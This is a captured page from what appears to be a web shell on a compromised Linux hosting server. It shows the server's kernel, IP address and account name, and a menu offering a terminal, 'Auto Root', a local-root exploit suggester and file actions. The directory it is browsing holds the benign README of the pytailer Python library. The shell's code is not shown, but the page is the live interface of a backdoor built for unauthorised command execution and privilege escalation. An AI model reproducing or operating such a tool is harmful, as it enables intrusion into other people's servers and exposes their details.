Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.130
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
python35 /
share /
doc /
alt-python35-tailer /
Delete
Unzip
Name
Size
Permission
Date
Action
LICENSE
1.03
KB
-rw-r--r--
2015-12-09 21:43
README.rst
1.54
KB
-rw-r--r--
2015-12-09 23:13
Save
Rename
====== Tailer ====== .. image:: https://travis-ci.org/six8/pytailer.svg :target: https://travis-ci.org/six8/pytailer :alt: Build Status Python tail is a simple implementation of GNU tail and head. It provides 3 main functions that can be performed on any file-like object that supports ``seek()`` and ``tell()``. * ``tail`` - read lines from the end of a file * ``head`` - read lines from the top of a file * ``follow`` - read lines as a file grows It also comes with ``pytail``, a command line version offering the same functionality as GNU tail. This can be particularly useful on Windows systems that have no tail equivalent. - `Tailer on GitHub <http://github.com/six8/pytailer>`_ - `Tailer on Pypi <http://pypi.python.org/pypi/tailer>`_ Installation ============ Install with ``pip`` or ``easy_install``. :: pip install tailer Examples ======== :: import tailer f = open('test.txt', 'w') for i in range(11): f.write('Line %d\\n' % (i + 1)) f.close() Tail ---- :: # Get the last 3 lines of the file tailer.tail(open('test.txt'), 3) # ['Line 9', 'Line 10', 'Line 11'] Head ---- :: # Get the first 3 lines of the file tailer.head(open('test.txt'), 3) # ['Line 1', 'Line 2', 'Line 3'] Follow ------ :: # Follow the file as it grows for line in tailer.follow(open('test.txt')): print line Running Tests ============= Tailer currently only has doctests. Run tests with nose:: nosetests --with-doctest src/tailer Run tests with doctest:: python -m doctest -v src/tailer/__init__.py